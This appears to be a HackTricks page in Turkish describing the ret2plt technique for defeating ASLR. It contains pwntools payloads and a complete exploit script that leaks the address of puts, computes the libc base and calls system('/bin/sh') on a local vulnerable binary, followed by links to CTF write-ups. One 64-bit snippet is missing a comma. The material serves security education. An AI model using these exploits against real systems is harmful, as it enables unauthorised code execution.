79 lines
3.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Ret2plt
{{#include ../../../banners/hacktricks-training.md}}
## Temel Bilgiler
Bu tekniğin amacı, **ASLR'yi atlatabilmek için PLT'den bir fonksiyonun adresini sızdırmak** olacaktır. Bunun nedeni, örneğin, libc'den `puts` fonksiyonunun adresini sızdırırsanız, **`libc`'nin temel adresini hesaplayabilir** ve **`system`** gibi diğer fonksiyonlara erişmek için ofsetleri hesaplayabilirsiniz.
Bu, ([**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)) gibi bir `pwntools` yükü ile yapılabilir:
```python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
```
Not edin ki **`puts`** (PLT'den alınan adres kullanılarak) GOT'daki `puts` adresi ile çağrılır. Bunun nedeni, `puts` GOT girişi yazdırdığında, bu **girişin bellek içindeki `puts` adresini tam olarak içerecek olmasıdır**.
Ayrıca, `main` adresinin istismarda nasıl kullanıldığını not edin, böylece `puts` çalışmasını bitirdiğinde, **binary `main`'i tekrar çağırır, çıkmak yerine** (bu nedenle sızdırılan adres geçerli olmaya devam eder).
> [!CAUTION]
> Bunun çalışması için **binary PIE ile derlenmemiş olmalıdır** veya PLT, GOT ve main adresini bilmek için **PIE'yi atlatmak için bir sızıntı bulmuş olmalısınız**. Aksi takdirde, önce PIE'yi atlatmanız gerekir.
Bu [**atlatmanın tam örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Bu, o **örneğin** son istismarıydı:
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
```
## Diğer örnekler ve Referanslar
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR etkin ama PIE yok, ilk adım bir taşmayı 0x00 byte'ına kadar doldurmak ve ardından puts çağrısı yaparak sızıntıyı elde etmektir. Canary ile bir ROP gadget'ı oluşturulur, puts'u çağırarak GOT'tan puts'un adresini sızdırır ve ardından `system('/bin/sh')` çağırmak için bir ROP gadget'ı.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonu ile yığın taşması. Puts'un GOT'tan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırmak için.
{{#include ../../../banners/hacktricks-training.md}}